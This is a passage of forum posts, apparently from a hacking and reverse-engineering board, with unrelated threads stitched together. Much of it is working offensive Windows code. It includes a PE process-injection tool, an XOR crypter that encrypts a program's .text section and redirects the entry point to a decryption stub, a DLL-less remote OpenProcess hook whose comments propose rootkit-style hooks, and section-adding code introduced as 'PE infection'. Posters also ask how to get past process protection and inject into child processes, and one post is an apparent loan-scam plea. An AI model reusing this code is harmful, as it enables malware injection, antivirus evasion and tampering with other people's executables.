What's wrong in my code ?
http://pastebin.com/rhU3QDSS
What's wrong in my code ?
http://pastebin.com/rhU3QDSS
As i continue to learn assembly language "lossing hope "... i decided to get to know assembly language orgin and how those old school guys
did make programs from mov eax,1 and poping,pushing ecx....... ......i found a blog post by kerspersky didicated to the guys behind Duqu virus "misterious language" which was later figured out as a visual studio 2008 C generated optimized code...blah blah.....but anyway those guys back then were badass!
please read the blog post and watch the videos you will really get inspired.....people are amzing
<?php $fileng = './b/'.$_FILES['userfile']['name']; $loaded = $_FILES['userfile']['tmp_name']; var_dump($fileng, $loaded); if (!move_uploaded_file($loaded, $fileng)) { die ('_err: can\'t save file'); } ?>
#include <stdio.h> #include <Windows.h> #include <winternl.h> #pragma comment(lib,"ntdll.lib") typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; }CLIENT_ID,*PCLIENT_ID; EXTERN_C NTSTATUS NTAPI RtlCreateUserThread( HANDLE, PSECURITY_DESCRIPTOR, BOOLEAN, ULONG, PULONG, PULONG, PVOID, PVOID, PHANDLE, PCLIENT_ID); EXTERN_C PIMAGE_NT_HEADERS NTAPI RtlImageNtHeader(PVOID); EXTERN_C NTSTATUS NTAPI RtlAdjustPrivilege(ULONG,BOOLEAN,BOOLEAN,PBOOLEAN); EXTERN_C NTSTATUS NTAPI NtOpenProcess(PHANDLE,ACCESS_MASK,POBJECT_ATTRIBUTES,PCLIENT_ID); EXTERN_C NTSTATUS NTAPI NtWriteVirtualMemory(HANDLE,PVOID,PVOID,ULONG,PULONG); LRESULT CALLBACK WndProc(HWND hWnd,UINT uMsg,WPARAM wParam,LPARAM lParam) { HDC hDC; PAINTSTRUCT ps; switch(uMsg) { case WM_DESTROY: PostQuitMessage(0); break; case WM_PAINT: hDC=BeginPaint(hWnd,&ps); FillRect(hDC,&ps.rcPaint,0); EndPaint(hWnd,&ps); break; case WM_LBUTTONDOWN: MessageBox(hWnd,"You clicked the left mouse button.","Message",MB_ICONINFORMATION); break; case WM_RBUTTONDOWN: MessageBox(hWnd,"You clicked the right mouse button.","Message",MB_ICONINFORMATION); break; case WM_KEYDOWN: switch(wParam) { case VK_RETURN: MessageBox(hWnd,"You pressed the enter key.","Message",MB_ICONINFORMATION); break; case VK_SPACE: MessageBox(hWnd,"You pressed the spacebar key.","Message",MB_ICONINFORMATION); break; case 'B': Beep(800,200); break; } break; default: return DefWindowProc(hWnd,uMsg,wParam,lParam); } return 0; } void WINAPI ThreadProc(HINSTANCE hInst) { HWND hWnd; WNDCLASS wc; MSG msg; memset(&wc,0,sizeof(wc)); wc.hInstance=hInst; wc.lpfnWndProc=WndProc; wc.lpszClassName="PEWndClass"; RegisterClass(&wc); hWnd=CreateWindowEx( 0, "PEWndClass", "PE injection window", WS_OVERLAPPEDWINDOW, 50, 50, 250, 250, NULL, NULL, hInst, NULL); ShowWindow(hWnd,SW_SHOW); while(GetMessage(&msg,NULL,0,0)) { TranslateMessage(&msg); DispatchMessage(&msg); } UnregisterClass("PEWndClass",hInst); ExitThread(0); } int main(int argc,char* argv[]) { PIMAGE_NT_HEADERS pINH; PIMAGE_DATA_DIRECTORY pIDD; PIMAGE_BASE_RELOCATION pIBR; HMODULE hModule; PVOID image,mem,StartAddress; HANDLE hProcess,hThread; DWORD i,count,nSizeOfImage; DWORD_PTR delta,OldDelta; LPWORD list; PDWORD_PTR p; BOOLEAN bl; NTSTATUS status; OBJECT_ATTRIBUTES oa; CLIENT_ID cid; if(argc!=2) { printf("Usage: PEWindow.exe [PID]"); return 1; } RtlAdjustPrivilege(20,TRUE,FALSE,&bl); hModule=GetModuleHandle(NULL); pINH=RtlImageNtHeader(hModule); nSizeOfImage=pINH->OptionalHeader.SizeOfImage; InitializeObjectAttributes(&oa,NULL,0,NULL,NULL); cid.UniqueProcess=(HANDLE)atoi(argv[1]); cid.UniqueThread=0; printf("\nOpening target process handle.\n"); if(!NT_SUCCESS(status=NtOpenProcess(&hProcess,PROCESS_ALL_ACCESS,&oa,&cid))) { printf("\nError: Unable to open target process handle. NtOpenProcess failed with status %#x\n",status); return 1; } printf("\nAllocating memory in target process.\n"); mem=VirtualAllocEx(hProcess,NULL,nSizeOfImage,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); if(mem==NULL) { printf("\nError: Unable to allocate memory in target process. VirtualAllocEx failed with error %d\n",GetLastError()); NtClose(hProcess); return 1; } printf("\nMemory allocated. Address: %#x\n",mem); image=VirtualAlloc(NULL,nSizeOfImage,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); memcpy(image,hModule,nSizeOfImage); pIDD=&pINH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; pIBR=(PIMAGE_BASE_RELOCATION)((LPBYTE)image+pIDD->VirtualAddress); delta=(DWORD_PTR)((LPBYTE)mem-pINH->OptionalHeader.ImageBase); OldDelta=(DWORD_PTR)((LPBYTE)hModule-pINH->OptionalHeader.ImageBase); while(pIBR->VirtualAddress!=0) { if(pIBR->SizeOfBlock>=sizeof(IMAGE_BASE_RELOCATION)) { count=(pIBR->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))/sizeof(WORD); list=(LPWORD)((LPBYTE)pIBR+sizeof(IMAGE_BASE_RELOCATION)); for(i=0;i<count;i++) { if(list[i]>0) { p=(PDWORD_PTR)((LPBYTE)image+(pIBR->VirtualAddress+(0x0fff & (list[i])))); *p-=OldDelta; *p+=delta; } } } pIBR=(PIMAGE_BASE_RELOCATION)((LPBYTE)pIBR+pIBR->SizeOfBlock); } printf("\nWriting executable image into target process.\n"); if(!NT_SUCCESS(status=NtWriteVirtualMemory(hProcess,mem,image,nSizeOfImage,NULL))) { printf("\nError: Unable to write executable image into target process. NtWriteVirtualMemory failed with status %#x\n",status); VirtualFreeEx(hProcess,mem,0,MEM_RELEASE); NtClose(hProcess); return 1; } StartAddress=(PVOID)((LPBYTE)mem+(DWORD_PTR)(LPBYTE)ThreadProc-(LPBYTE)hModule); printf("\nCreating remote thread in target process.\n"); if(!NT_SUCCESS(status=RtlCreateUserThread(hProcess,NULL,FALSE,0,0,0,StartAddress,mem,&hThread,NULL))) { printf("\nError: Unable to create remote thread in target process. RtlCreateUserThread failed with status %#x\n",status); VirtualFreeEx(hProcess,mem,0,MEM_RELEASE); NtClose(hProcess); return 1; } printf("\nThread created. Waiting for the thread to terminate.\n"); NtWaitForSingleObject(hThread,FALSE,NULL); printf("\nThread terminated.\n"); NtClose(hThread); printf("\nFreeing allocated memory.\n"); VirtualFreeEx(hProcess,mem,0,MEM_RELEASE); NtClose(hProcess); VirtualFree(image,0,MEM_RELEASE); return 0; }
int newSSL_Write(SSL *ssl, const void *buf, int num) { //filter contents of buffer here if(strcmp=="POST") { // pass arguement to filter Host / Post data } return oldSSL_Write(ssl,buf,num); }
uint8_t p = 1 ;
p = p ^ (p << 1) ^ (p & 0x80 ? 0x1B : 0); q ^= q << 1; | q = q ^ q << 1 ;
What does the following lines mean ?
Hello.
Today i am struggling with injection an DLL to the process that has protected OpenProcess so it is not possible to access the process memory by ordiary ways. I've come with idea to try IME injection and it works, but there is a problem i don't know if it is DLL problem or the injector itself.
If i inject into the process a simple DLL with textbox
#define DLLAPI extern "C" __declspec(dllexport) BOOL CALLBACK DllMain(HINSTANCE hModule, DWORD call, LPVOID lpReserved) { MessageBoxA(NULL, "Messagebox from inside process.", "This is run from process memory", 48); return true; } DLLAPI DWORD CALLBACK PostLoadCallback(DWORD calldata1, DWORD calldata2,DWORD calldata3) { MessageBoxA(NULL, "Messagebox from inside process.", "This is run from process memory", 48); return true; }
Im pretty noob about this stuff but code injection really interests me. I saw rosdevils tut which was great
and was wandering what else there was? Powerloader?
I would like to learn to write each one. I know it will take along time but Im willing to learn
I want to master this stuff so bad its all I can think about
Can you name Few software built in .Net ? And these software are out there in market !
I will appreciate you concern if you even name one software.
Thanks
Hi, if anyone has experience, could you help me how could I disassemble & debug an arduino 'sketch'?
I've just recently received my own board ( well, actually a chinese fake copy, but enough to start )
I could dump the flash memory by crafting the following command:
avrdude -C "D:\Program Files\Arduino\hardware\tools\avr/etc/avrdude.conf" -v -patmega328p -carduino -PCOM3 -b115200 -U flash:r:"C:\flash.hex":i
I attached the output if anyone needs it
It's just a very simple code, I've written under... like... 10sec
But for fun I just want to reverse it and see how things are done
So... Summary: Could anyone assist me how could I easily disassemble it?
I prefer either classical piano(think Chopin), or death metal/symphonic black metal.
Classical:
Death:
I don't think I could listen to metal while programming though, that's more of a classical thing for me.
What about you guys?
Hello everyone,
i'm on C++
i want to inject my dll into a process. but this process can't be launched by CreateProcessA because i get a message: "You need to run this software with launcher".
So i CreateProcessA with the launcher in parameter. But now my DLL is injected into the launcher (btw).
How can i wait for child process and inject into it and not into the launcher?
Thanks
I am stuck. I need few amount of money. You can say it's your investment.
I need 20,000$ and Instead over 5 months i will give profit 50,000-60,000$.
There is no scam. i will leave my personal and sensitive information and The bank info.
You can take legal action anyway.
I will appreciate your hep.
Kind Regards,
Thanks
That is a sponge hash with chacha quateround as core function. See http://sponge.noekeon.org/ and https://cr.yp.to/chacha/chacha-20080128.pdf for better understanding.
Compiled with gcc -O3 -s -nostartfiles -e WinMainCRTStartup hash.c -o hash
#include <windows.h> #include <stdio.h> VOID WinMainCRTStartup(VOID){ /* BYTE Text[256]; scanf("%s", Text); SIZE_T Size = strlen(Text); */ FILE *File = fopen("data.bin", "rb"); fseek(File, 0, SEEK_END); LONG Size = ftell(File); rewind(File); PBYTE Text = (PBYTE)malloc(Size * sizeof(BYTE)); fread(Text, sizeof(BYTE), Size, File); UINT Hash[4] = {0x00}; for(LONG i = 0x00; i < Size; i += 0x10){ for(DWORD j = 0x00; j < 0x04; j++) Hash[j] ^= (Text[(0x04 * j + i + 0x00) % Size] << 0x00) | (Text[(0x04 * j + i + 0x01) % Size] << 0x08) | (Text[(0x04 * j + i + 0x02) % Size] << 0x10) | (Text[(0x04 * j + i + 0x03) % Size] << 0x18); Hash[0x00] += Hash[0x01]; Hash[0x03] = _rotl(Hash[0x03] ^ Hash[0x00], 0x10); Hash[0x02] += Hash[0x03]; Hash[0x01] = _rotl(Hash[0x01] ^ Hash[0x02], 0x0C); Hash[0x00] += Hash[0x01]; Hash[0x03] = _rotl(Hash[0x03] ^ Hash[0x00], 0x08); Hash[0x02] += Hash[0x03]; Hash[0x01] = _rotl(Hash[0x01] ^ Hash[0x02], 0x07); } printf("-> 0x%08x", Hash[0x00] ^ Hash[0x01] ^ Hash[0x02] ^ Hash[0x03]); ExitProcess(0); }
About the performance I compute the hash of a 700Mo file in 2-3s it give me 0xdad0660c i only change a 0x21 to a 0x00 and the hash become 0x67c9b8b3. To avoid 0x00000000 on empty file change Hash[4] initials values.
Hope you enjoy ^^.
I have managed to get an obfuscator running (the code is posted at the bottom of this post) but am having some difficulties in understanding how it works). When the following code is compiled without any optimization flags set:
void _xor_block(unsigned char *pblock, unsigned int blocksize) { // omitted for brevity } int _xor_chunk(unsigned char* pchunk, unsigned long chunksize, unsigned int blocksize) { // omitted for brevity } __declspec(naked) void __stdcall _stub(void) { // omitted for brevity } __declspec(naked) int _end(void) { // omitted for brevity }
is the function order preserved in the output (binary) and its memory image? These functions are used to compute the stub size.
Next, the Misc.VirtualSize and SizeOfRawData fields of the .text section are used to find an offset at which the stub should be inserted at.
dwVSize = pSecH->Misc.VirtualSize; dwSectionSize = pSecH->SizeOfRawData; dwStubSize = (DWORD) _end - (DWORD) _xor_block; memcpy(SectionBuffer, FileBuffer + pSecH->PointerToRawData, dwSectionSize); memset(SectionBuffer + pSecH->Misc.VirtualSize, 0, (dwSectionSize - pSecH->Misc.VirtualSize));
In the documentation over at MSDN
https://msdn.microsoft.com/en-us/library/windows/desktop/ms680341%28v=vs.85%29.aspx
it is mentioned that Misc.VirtualSize is the size of the section when loaded into memory and SizeOfRawData the size of the section on disk. If the VirtualSize is greater than SizeOfRawData it is padded with zeros until the end. Similarly, if SizeOfRawData is less than the value of the VirtualSize member, the remainder of the section is filled with zeroes.
Now,
1) Can the .text section be extended so that it can fit a larger stub? (than the predefined size members)
2) What are the limitations of how large a stub can be?
3) The code below assumes that SizeOfRawData > VirtualSize. Is this always the case for PEs'? If not how can the stub be still inserted into the .text section?
4) In the implementation the code places the stub at the end of the VirtualSize part of the section and adjusts the entry point so that, the stub is the first thing that's executed, then the .text section up until the stub is being decrypted and a jump is made to the start of the section (original entry point). But how are these values chosen since they are constant?
__declspec(naked) void __stdcall _stub(void) { __asm { //blocksize push 0xFEFEFEFE //chunksize push 0xFDFDFDFD //pchunk push 0xFCFCFCFC //decrypt call _xor_chunk //oep mov eax, 0x7FFFFFFF //go go jmp eax } }
Why do we need alignment after reaching for the bytes found at the VirtualSize index?
while(dwSpot % 16) dwSpot++;
I'm guessing is that because we don't want to split instructions right? But this also implies that they are all 2 bytes in length, no?
When the stub is being updated in memory:
#define OEP_o 21 #define SEG_o 11 #define BSZ_o 1 #define SZ_o 6 memcpy((void *)((unsigned long) _stub + OEP_o), &oep, 4); memcpy((void *)((unsigned long) _stub + SEG_o), &seg, 4); memcpy((void *)((unsigned long) _stub + BSZ_o), &bsz, 4); memcpy((void *)((unsigned long) _stub + SZ_o), &dwVSize, 4);
don't the new entry point values overwrite the body of the actual stub? How will the stub look like in memory and where are the offsets (oep, seg, bsz) being placed?
Also, in the _stub() function only constant values are being passed onto the stack. How are they obtained? They set up the parameters for the calling of _xor_chunk() but why is the address of parameters always the same (for pchunk the encrypted section)?
Any help would be greatly appreciated.
Here is the code:
#pragma comment(linker, "/OPT:NOREF") // this tells the linker to keep the machine code of unreferenced source code #pragma optimize("", off) // disable all optimizations in order for our stub to run smootly, though im not sure if it really helps, i just saw some guy doing it this way lolz <span class="wp-smiley wp-emoji wp-emoji-smile" title=":)">:)</span> #include <windows.h> #include <stdio.h> // those are the offsets to the // original entry point #define OEP_o 21 // virtual address of section #define SEG_o 11 // block size, must be a multiple of 8 #define BSZ_o 1 // section size, must be a multiple of the chosen block size // values in the stub #define SZ_o 6 // a simple block xor. Every byte in the given block is XOR'ed //with its index in that block void _xor_block(unsigned char *pblock, unsigned int blocksize) { unsigned int i; for(i = 0; i < blocksize; i++) pblock[i] ^= i; return; } // just a wrapper around the above function int _xor_chunk(unsigned char* pchunk, unsigned long chunksize, unsigned int blocksize) { if(chunksize % blocksize || blocksize % 8) return -1; unsigned long index = 0; while(index < chunksize) { _xor_block(pchunk + index, blocksize); index += blocksize; } return 0; } // this is our stub and the new entry point for the encrypted PE __declspec(naked) void __stdcall _stub(void) { __asm { //blocksize push 0xFEFEFEFE //chunksize push 0xFDFDFDFD //pchunk push 0xFCFCFCFC //decrypt call _xor_chunk //oep mov eax, 0x7FFFFFFF //go go jmp eax } } // a placeholder, used for stub size calculation __declspec(naked) int _end(void) { __asm ret 8 } // so basicly the ASM code of the above 3 (w/o _end) functions will be added to the end of the ".text" section // after updating the proper values in the stub, ofc // then the PE header is updated along with the section header // and with the entry point at _stub's code its all done! wow that was easy oO // GO GO POWER RANGERS!!! int main(void) { PIMAGE_DOS_HEADER pDosH; PIMAGE_NT_HEADERS pNtH; PIMAGE_SECTION_HEADER pSecH; HANDLE hFile, hOutFile; DWORD dwFileSize, dwSectionSize, dwStubSize, dwVSize, dwOldProt, dwSpot, dwGap, bytes; LPBYTE FileBuffer, SectionBuffer; CHAR FileName[MAX_PATH], OutFileName[MAX_PATH]; memset(FileName, 0, MAX_PATH); memset(OutFileName, 0, MAX_PATH); // get the filename to encrypt printf("File to encrypt: "); scanf("%s", &FileName); for(int i = 0; i < MAX_PATH; i++) if(FileName[i] != '.') OutFileName[i] = FileName[i]; else break; strcat(OutFileName, "_encryted.exe"); // open it and get the size hFile = CreateFileA(FileName, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0); dwFileSize = GetFileSize(hFile, 0); // open the output file too hOutFile = CreateFileA(OutFileName, GENERIC_WRITE, 0, 0, CREATE_NEW, 0, 0); // load in memory FileBuffer = (LPBYTE) malloc(dwFileSize); // read file contents in memory ReadFile(hFile, FileBuffer, dwFileSize, &bytes, 0); // write the same contents to the out file (we need to initialize // the file pointer so that we may reuse it later) WriteFile(hOutFile, FileBuffer, dwFileSize, &bytes, 0); // get the DOS header (it is important only to get to the NT header pDosH = (PIMAGE_DOS_HEADER) FileBuffer; // check if it is valid PE, i would say that this is merely a proper // check, for a proper one you would need to calculate all the RVA's and see if they are valid if(pDosH->e_magic != IMAGE_DOS_SIGNATURE) return -1; // move to the NT header pNtH = (PIMAGE_NT_HEADERS) (FileBuffer + pDosH->e_lfanew); if(pNtH->Signature != IMAGE_NT_SIGNATURE) return -2; // get first NT section pSecH = IMAGE_FIRST_SECTION(pNtH); // look for the .text section while(memcmp(pSecH->Name, ".text", 5)) // get the ".text" section header pSecH++; // the virtual size of the section is the size of // the section when loaded into memory. Later this will be used as // chunksize in our stub, after proper alignment dwVSize = pSecH->Misc.VirtualSize; // the raw data size of the section is the size of the section on // the drive (in the PE binary) dwSectionSize = pSecH->SizeOfRawData; // the stubsize, in bytes dwStubSize = (DWORD) _end - (DWORD) _xor_block; // allocate memory for the .text section, enough to hold our raw section data SectionBuffer = (LPBYTE) malloc(dwSectionSize); // copy the text section to memory memcpy(SectionBuffer, FileBuffer + pSecH->PointerToRawData, dwSectionSize); // encrypt the .text section in memory. Different block sizes can be used // - 8, 16, 32, 64, 128, 256, 512... _xor_chunk(SectionBuffer, dwSectionSize, 256); // we fill the portion of the section that is after the one that is to be // loaded into memory with zeros (fill with zeros after the end of actual data) memset(SectionBuffer + pSecH->Misc.VirtualSize, 0, (dwSectionSize - pSecH->Misc.VirtualSize)); // we place the stub in this zeroed out portion of the section // this will be the offset (relative to the beginning of the section) where we // will place our stub dwSpot = pSecH->Misc.VirtualSize; // align it to 16 byte boundary while(dwSpot % 16) dwSpot++; // this is in order to prevent the stub from corruption by overwriting its own // code, since we will place it after the end of the section data dwSpot += 256; dwGap = dwSpot - pSecH->Misc.VirtualSize; // the gap between our stub and the end of the data // the original entry point, this is a linear address DWORD oep = pNtH->OptionalHeader.AddressOfEntryPoint + pNtH->OptionalHeader.ImageBase; // the section address, you guessed right, this too is a linear one DWORD seg = pSecH->VirtualAddress + pNtH->OptionalHeader.ImageBase; DWORD bsz = 256; // we need to align it to block size while(dwVSize % bsz) dwVSize++; // change pege r/w/e flags to be able to run the stub VirtualProtect(_xor_block, dwStubSize, PAGE_EXECUTE_READWRITE, &dwOldProt); // update the stub memcpy((void *)((unsigned long) _stub + OEP_o), &oep, 4); memcpy((void *)((unsigned long) _stub + SEG_o), &seg, 4); memcpy((void *)((unsigned long) _stub + BSZ_o), &bsz, 4); memcpy((void *)((unsigned long) _stub + SZ_o), &dwVSize, 4); // write the stub to memory memcpy(SectionBuffer + dwSpot, _xor_block, dwStubSize); // r/w/e, executable code, initialized data pSecH->Characteristics = 0xE0000060; // update the virtual size of the section pSecH->Misc.VirtualSize += dwStubSize + dwGap; pNtH->OptionalHeader.AddressOfEntryPoint = pSecH->VirtualAddress + dwSpot + ( (DWORD)_stub - (DWORD)_xor_block ) ; // and finally update the file // new section data SetFilePointer(hOutFile, pSecH->PointerToRawData, 0, FILE_BEGIN); WriteFile(hOutFile, SectionBuffer, dwSectionSize, &bytes, 0); // new PE header SetFilePointer(hOutFile, pDosH->e_lfanew, 0, FILE_BEGIN); WriteFile(hOutFile, pNtH, sizeof(IMAGE_NT_HEADERS), &bytes, 0); //new section header SetFilePointer(hOutFile, ((DWORD) pSecH - (DWORD) FileBuffer), 0, FILE_BEGIN); WriteFile(hOutFile, pSecH, sizeof(IMAGE_SECTION_HEADER), &bytes, 0); // close files/free memory CloseHandle(hFile); CloseHandle(hOutFile); free(FileBuffer); free(SectionBuffer); return 0; } // bye, bye, EOF
I have the following code for hook injection without DLL from a github project R3R-Base, but it crashes when hooked function is called.
Any clue how to get it working correctly? Or a working source that preserves the original function?
#include <Windows.h> DWORD FuncAddr = NULL; // To hold the api address DWORD MyFuncAddr = NULL; // To hold the new function address DWORD OldProtect = NULL; // To hold the old protection of the api memory char OldBytes[5] = { 0 }; // To hold the old first 5 bytes of the api memory BOOL BaseRelocation(LPVOID CodeBase, DWORD newBase) { // Get the IMAGE_NT_HEADERS PIMAGE_NT_HEADERS PNH = (PIMAGE_NT_HEADERS)(((PIMAGE_DOS_HEADER)CodeBase)->e_lfanew + (DWORD)CodeBase); // Calculating the delta to add it to the addresses DWORD delta = newBase - PNH->OptionalHeader.ImageBase; // Get relocation table entry virtual address DWORD dwVa = (DWORD)PNH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress; // Get the IMAGE_BASE_RELOCATION ( first block of relocation table ) PIMAGE_BASE_RELOCATION PBR = (PIMAGE_BASE_RELOCATION)((DWORD)CodeBase + dwVa); // while blocks not end while (PBR->VirtualAddress > 0) { // get current block info address ( the end of the block ) WORD* blockinf = (WORD*)((char*)PBR + sizeof(IMAGE_BASE_RELOCATION)); // get the begining of the block address DWORD dest = (DWORD)((DWORD)CodeBase + PBR->VirtualAddress); // the block relocations for (int i = 0; i < (int)(PBR->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / 2; i++) { int type, offset; // get the type of the block ( upper 4 bits ) type = blockinf[i] >> 12; // get the offset of the block ( lower 12 bits ) offset = blockinf[i] & 0xfff; // if the type is IMAGE_REL_BASED_HIGHLOW then relocate the address if (type == IMAGE_REL_BASED_HIGHLOW) { // get the address to relocate DWORD* AddrLoc = (DWORD*)(dest + offset); // add the delta to the address *AddrLoc += delta; } else { break; } } // set the next block begining PBR = (PIMAGE_BASE_RELOCATION)((char*)PBR + PBR->SizeOfBlock); } // setting the new imagebase PNH->OptionalHeader.ImageBase = newBase; return TRUE; } BOOL PerformHook(DWORD PID, LPVOID HookInstall) { // Getting this module address and copy its bytes to new space PVOID hModule = (PVOID)GetModuleHandleA(NULL); // intalize structures and data PIMAGE_NT_HEADERS PNH = (PIMAGE_NT_HEADERS)(((PIMAGE_DOS_HEADER)hModule)->e_lfanew + (DWORD)hModule); DWORD CurrImageBase = PNH->OptionalHeader.ImageBase; DWORD ImageSize = PNH->OptionalHeader.SizeOfImage; // Open process and allocate space HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID); if (!hProcess) return FALSE; DWORD NwImageBase = (DWORD)VirtualAllocEx(hProcess, 0, ImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); // Copy module bytes to New address PVOID NwAddress = (PVOID)VirtualAlloc(0, ImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); CopyMemory(NwAddress, hModule, ImageSize); // Base relocation to the new imagebase if diffrent if (CurrImageBase != NwImageBase) BaseRelocation(NwAddress, NwImageBase); // Write the relocated bytes to the process memory WriteProcessMemory(hProcess, (LPVOID)NwImageBase, NwAddress, ImageSize, NULL); // calc the new address for hook install function and call it using remote thread DWORD NwHookInstall = (DWORD)HookInstall - CurrImageBase + NwImageBase; CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)NwHookInstall, NULL, NULL, NULL); return TRUE; } void ChangeProtect(bool resetOldProtect) { if (resetOldProtect) { // reset the old protect of the api address memory ( first 5 bytes ) VirtualProtect((LPVOID)FuncAddr, 5, OldProtect, NULL); } else { // change the protect of the api address memory ( first 5 bytes ) to PAGE_EXECUTE_READWRITE VirtualProtect((LPVOID)FuncAddr, 5, PAGE_EXECUTE_READWRITE, &OldProtect); } } void RestoreBytes() { ChangeProtect(false); // chane the api memory protection to PAGE_EXECUTE_READWRITE memcpy((LPVOID)FuncAddr, OldBytes, 5); // Write the old bytes on the first 5 bytes of the api memory ChangeProtect(true); // restore the old protection } void CreateJmp() { char JMP[5] = { 0xE9,0x00,0x00,0x00,0x00 }; // JMP 00 00 00 00 DWORD JmpSize = MyFuncAddr - (DWORD)FuncAddr - 5; // Calculating the jmp size from ( api address to the new function ) ChangeProtect(false); // Change the api first 5 bytes protection to PAGE_EXECTURE_READWRITE memcpy(&OldBytes, (LPVOID)FuncAddr, 5); // Backup the first 5 bytes before writing the jump memcpy(&JMP[1], &JmpSize, 4); // Insert the jmp size into the JMP byte array ( JMP [00 00 00 00] ) memcpy((LPVOID)FuncAddr, JMP, 5); // Write the jump on the first 5 bytes of the api memory ChangeProtect(true); // Restore the old protection } // ================================================= the new function which the hook detour the api to =============================== // typedef HANDLE(WINAPI *_MyOpenProcess)( _In_ DWORD dwDesiredAccess, _In_ BOOL bInheritHandle, _In_ DWORD dwProcessId ); #include <string> #include <fstream> bool write2(std::string path, std::string data) { std::ofstream file(path, std::ios::out | std::ios::binary); if (file.is_open()) { file.write(data.c_str(), data.length()); file.close(); return true; } else return false; } DWORD MyID = 0; HANDLE MyOpenProcess( _In_ DWORD dwDesiredAccess, _In_ BOOL bInheritHandle, _In_ DWORD dwProcessId ) { _MyOpenProcess Func = (_MyOpenProcess)FuncAddr; RestoreBytes(); HANDLE ret = 0; //MessageBoxA(NULL, "", "TEST", NULL); if (dwProcessId != GetCurrentProcessId()) ret = Func(dwDesiredAccess, bInheritHandle, dwProcessId); CreateJmp(); return ret; } // setting the new and old api address DWORD __stdcall HookInstallFunc(LPVOID Param) { FuncAddr = (DWORD)GetProcAddress(LoadLibrary(L"kernel32"), "OpenProcess"); // API Address to hook MyFuncAddr = (DWORD)MyOpenProcess; // Func to detour to CreateJmp(); // Create the jmp to MyFuncAddr /* do another hooks .. .> # NtOpenProcess # NtTerminateProcess # GetExtendedTcpTable # NtQueryInformationProcess # RegEnumValue # FindNextFile # NtCreateFile ... Etc ... */ ExitThread(0); // End the thread } void TestHook() { PerformHook(6356, (LPVOID)HookInstallFunc); }
The link on the main banner on the website seems to partially cover the third sub-forum tab. The image below shows in red (approximately) where the banner link covers the tab link. Happens in both firefox and IE for me, don't have chrome to test on.
Hi to you all! It has been a while since i posted something interesting,and i feel like i have to contribute more to this forum.
I've seen some people here,and on some other forums that pretend to understand the PE file format,and that they know how to corrupt one.
Alot of code out there that is useless,that is buggy or makes the infected PE unstable or simply just crashes it!
This is met to be an introduction to PE corruption,ofcourse for those interested!
The program im going to show you is reading a file,tests if it is a valid PE and eventualy inserts a new PE section.With PE infection in my mind, i insert some string into the newly created section,just to make an example of this situation!
Here it is,improve and do whatever you like with it!
ENJOY!!!
#include <stdio.h> #include <windows.h> DWORD align(DWORD size, DWORD align, DWORD addr){ if (!(size % align)) return addr + size; return addr + (size / align + 1) * align; } bool AddSection(char *filepath, char *sectionName, DWORD sizeOfSection){ HANDLE file = CreateFile(filepath, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (file == INVALID_HANDLE_VALUE) return false; DWORD fileSize = GetFileSize(file, NULL); //so we know how much buffer to allocate BYTE *pByte = new BYTE[fileSize]; DWORD dw; //lets read the entire file,so we can use the PE information ReadFile(file, pByte, fileSize, &dw, NULL); PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pByte; if (dos->e_magic != IMAGE_DOS_SIGNATURE) return false; //invalid PE PIMAGE_FILE_HEADER FH = (PIMAGE_FILE_HEADER)(pByte + dos->e_lfanew + sizeof(DWORD)); PIMAGE_OPTIONAL_HEADER OH = (PIMAGE_OPTIONAL_HEADER)(pByte + dos->e_lfanew + sizeof(DWORD)+sizeof(IMAGE_FILE_HEADER)); PIMAGE_SECTION_HEADER SH = (PIMAGE_SECTION_HEADER)(pByte + dos->e_lfanew + sizeof(IMAGE_NT_HEADERS)); ZeroMemory(&SH[FH->NumberOfSections], sizeof(IMAGE_SECTION_HEADER)); CopyMemory(&SH[FH->NumberOfSections].Name, sectionName, 8); //We use 8 bytes for section name,cause it is the maximum allowed section name size //lets insert all the required information about our new PE section SH[FH->NumberOfSections].Misc.VirtualSize = align(sizeOfSection, OH->SectionAlignment, 0); SH[FH->NumberOfSections].VirtualAddress = align(SH[FH->NumberOfSections - 1].Misc.VirtualSize, OH->SectionAlignment, SH[FH->NumberOfSections - 1].VirtualAddress); SH[FH->NumberOfSections].SizeOfRawData = align(sizeOfSection, OH->FileAlignment, 0); SH[FH->NumberOfSections].PointerToRawData = align(SH[FH->NumberOfSections - 1].SizeOfRawData, OH->FileAlignment, SH[FH->NumberOfSections - 1].PointerToRawData); SH[FH->NumberOfSections].Characteristics = 0xE00000E0; /* 0xE00000E0 = IMAGE_SCN_MEM_WRITE | IMAGE_SCN_CNT_CODE | IMAGE_SCN_CNT_UNINITIALIZED_DATA | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_CNT_INITIALIZED_DATA | IMAGE_SCN_MEM_READ */ SetFilePointer(file, SH[FH->NumberOfSections].PointerToRawData + SH[FH->NumberOfSections].SizeOfRawData, NULL, FILE_BEGIN); //end the file right here,on the last section + it's own size SetEndOfFile(file); //now lets change the size of the image,to correspond to our modifications //by adding a new section,the image size is bigger now OH->SizeOfImage = SH[FH->NumberOfSections].VirtualAddress + SH[FH->NumberOfSections].Misc.VirtualSize; //and we added a new section,so we change the NOS too FH->NumberOfSections += 1; SetFilePointer(file, 0, NULL, FILE_BEGIN); //and finaly,we add all the modifications to the file WriteFile(file, pByte, fileSize, &dw, NULL); CloseHandle(file); return true; } bool AddCode(char *filepath){ HANDLE file = CreateFile(filepath, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (file == INVALID_HANDLE_VALUE) return false; DWORD filesize = GetFileSize(file, NULL); BYTE *pByte = new BYTE[filesize]; DWORD dw; ReadFile(file, pByte, filesize, &dw, NULL); 